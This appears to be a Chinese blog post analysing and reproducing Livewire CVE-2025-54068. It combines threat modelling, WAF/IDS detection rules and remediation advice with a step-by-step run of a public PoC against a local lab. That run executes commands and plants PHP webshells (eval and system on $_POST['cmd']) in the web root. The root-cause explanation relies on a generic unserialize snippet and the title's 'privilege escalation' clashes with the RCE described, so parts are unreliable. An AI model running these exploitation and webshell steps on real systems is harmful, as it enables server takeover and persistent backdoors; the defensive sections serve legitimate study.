CVE-2025-54068 漏洞复现:如何利用 Livewire 动态属性实现权限提升

2 阅读5分钟

livewire/CVE-2025-54068

🎯 Laravel Livewire CVE-2025-54068 漏洞分析

漏洞编号: CVE-2025-54068
组件: Livewire(Laravel 生态组件)
漏洞类型: 反序列化 / 组件状态篡改 → 远程代码执行(RCE)
成因: 前端可控组件 state 在服务端 hydrate 阶段未严格校验签名或类型
影响面: 使用 Livewire 动态组件且未开启完整签名校验的应用

说明:该漏洞披露于 2025 年 Livewire 安全公告及社区补丁分析,核心问题为组件 state 在服务端 hydrate 阶段信任客户端数据,攻击者可构造恶意 payload 触发危险方法执行。


一、漏洞原理分析

Livewire 的工作机制:

  1. 前端页面加载组件
  2. 用户交互 → 发送 JSON state
  3. 后端 hydrate 组件对象
  4. 执行方法
  5. 返回 diff 更新 DOM

🚨 漏洞根因

在旧版本中:

$component = unserialize($request->input('state'));

或者:

$component->hydrate($request->input('data'));

问题:

  • 客户端可控 state

  • 未校验签名

  • 未限制可序列化类

  • 存在魔术方法 destruct / invoke

👉 可构造 Gadget Chain 实现 RCE


二、漏洞原理图示说明

1️⃣ 正常数据流

flowchart LR
A[Browser] -->|JSON state| B[Livewire Controller]
B --> C[Hydrate Component]
C --> D[Call Method]
D --> E[Return HTML diff]

2️⃣ 攻击数据流

flowchart LR
A[Attacker] -->|恶意 state| B[Livewire Endpoint]
B --> C[反序列化]
C --> D[触发魔术方法]
D --> E[执行系统命令]

三、攻击链路构建

阶段 1:信息收集

  • 识别 Livewire endpoint

  • 抓包分析 /livewire/message/*
    阶段 2:Payload 构造

  • 构造恶意组件 state

  • 注入带 __destruct() 的对象
    阶段 3:反序列化触发

  • 服务器 hydrate

  • PHP 执行 magic method
    阶段 4:命令执行

cat /etc/passwd
whoami

四、DFD 威胁建模

[Attacker]
     |
     | POST JSON
     v
[Livewire Controller]
     |
     | unserialize()
     v
[Component Object]
     |
     v
[PHP Runtime]
     |
     v
[System Command]

五、STRIDE 威胁分析

威胁体现
Spoofing构造伪造 state
Tampering修改组件内部属性
Repudiation难以追踪
Information Disclosure可读取系统文件
DoS构造死循环对象
ElevationRCE 获取 WebShell

六、MITRE ATT&CK 映射

战术技术映射
Initial AccessExploit Public-Facing AppT1190
ExecutionCommand and ScriptingT1059
PersistenceWeb ShellT1505.003
Privilege EscalationExploit for Privilege EscalationT1068
Defense EvasionObfuscated PayloadT1027
DiscoverySystem InformationT1082

七、修复建议

1️⃣ 官方推荐

  • 升级至最新 Livewire 版本

  • 启用 state 签名校验

  • 禁止 unserialize()

2️⃣ 代码级修复建议

❌ 漏洞代码

$state = $request->input('state');
$component = unserialize($state);

✅ 安全写法

use Illuminate\Support\Facades\Crypt;

$state = $request->input('state');

if (! hash_equals(
    hash_hmac('sha256', $state, config('app.key')),
    $request->input('signature')
)) {
    abort(403);
}

$component = json_decode($state, true);

✅ 限制允许类

unserialize($state, ['allowed_classes' => false]);

八、检测与防护规则


🛡 1️⃣ Nginx 检测规则

location ~ /livewire/message/ {
    if ($request_body ~* "(O:[0-9]+:"|__destruct|__invoke|system()") {
        return 403;
    }
}

🛡 2️⃣ ModSecurity 规则

SecRule REQUEST_URI "@contains /livewire/message/" \
"phase:2,chain,deny,status:403,msg:'Livewire RCE Attempt'"

SecRule REQUEST_BODY "(?i)(O:[0-9]+:"|__destruct|__invoke|system()" \
"t:none"

🛡 3️⃣ Suricata IDS

alert http any any -> any any (
    msg:"Livewire CVE-2025-54068 RCE Attempt";
    http.uri; content:"/livewire/message/";
    http.client_body; pcre:"/O:[0-9]+:"/i";
    sid:5406801;
    rev:1;
)

九、应急响应流程


1️⃣ 立即隔离

iptables -A INPUT -s 攻击IP -j DROP

2️⃣ 日志排查

grep livewire storage/logs/laravel.log
grep "O:" access.log

3️⃣ 检查 WebShell

find /var/www -type f -name "*.php" -mtime -3
grep -R "system(" /var/www

4️⃣ 查看异常进程

ps aux | grep www-data

5️⃣ 检查反弹连接

netstat -antp | grep ESTABLISHED

十、完整攻击生命周期图

flowchart TD
A[扫描 Livewire]
B[构造恶意 state]
C[POST 到 /livewire/message]
D[反序列化]
E[执行命令]
F[写入 WebShell]
G[持久化控制]

A --> B --> C --> D --> E --> F --> G

十一、风险评级

项目等级
利用难度
自动化程度
危害级别极高
是否可 RCE
综合评级🔥🔥🔥🔥🔥

十二、总结

CVE-2025-54068 本质是:

不可信客户端 state 被服务端反序列化
导致对象注入
触发魔术方法
实现远程代码执行

属于 典型 PHP 反序列化链漏洞

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞复现

利用github现成的Poc。

git clone https://github.com/synacktiv/Livepyre.git

cd Livepyre

pip install -r requirements.txt

Snipaste_2026-03-01_15-50-52.png

该虚拟机版本需要激活venv环境才能安装python模块。

python3 -m venv venv

source venv/bin/activate

pip install -r requirements.txt

python Livepyre.py -u http://localhost:8080/ -f system -p 'whoami' -F # 需要增加-F选线,否则会报错

Snipaste_2026-03-01_15-51-31.png

查看id, ps aux等用户标识,或主机进程信息。

python Livepyre.py -u http://localhost:8080/ -f system -p 'id' -F

python Livepyre.py -u http://localhost:8080/ -f system -p 'ps aux' -F

Snipaste_2026-03-01_15-51-48.png

通常SRC或实际渗透测试过程中,由于合规报告和法律等影响,操作到上述步骤就行了。但是实际攻防对抗当中,这里可能还不够,需要红队进一步写入webshell利用。

python Livepyre.py -u http://localhost:8080/ -f system -p 'printf "<?php @eval($_POST["cmd"]); ?>" > /var/www/html/livewire-playground/public/backdoor.php' -F


python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public/backdoor.php' -F 

Snipaste_2026-03-01_15-52-31.png

查看当前目录,并写入一个等效的evil.php方便后面的文件删除。

python Livepyre.py -u http://localhost:8080/ -f system -p 'pwd' -F

python Livepyre.py -u http://localhost:8080/ -f system -p 'printf "<?php system($_POST["cmd"]); ?>" > /var/www/html/livewire-playground/public/evil.php' -F

python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public/evil.php' -F

Snipaste_2026-03-01_15-53-11.png

上图后续,可以看到backdoor.php被成功写入该网站。

python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public'   -F  

python Livepyre.py -u http://localhost:8080/ -f system -p 'rm rf /var/www/html/livewire-playground/public/backdoor.php' -F    

Snipaste_2026-03-01_15-54-33.png

Snipaste_2026-03-01_15-54-50.png

同理,看到backdoor.php被成功删除。这里不建议删除网站原有的目录,否则会影响该网站的正常业务。

Snipaste_2026-03-01_15-55-40.png

Snipaste_2026-03-01_15-55-49.png

注意:上传后门文件和删除网站文件在实际SRC和渗透测试是绝对不允许的!这里仅作学习探讨和演示,读者对目标网站进行如此操作需自行承担后果。

参考文章:
1.Laravel Livewire远程代码执行漏洞(CVE-2025-54068)分析与复现 -先知社区 xz.aliyun.com/news/91221

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。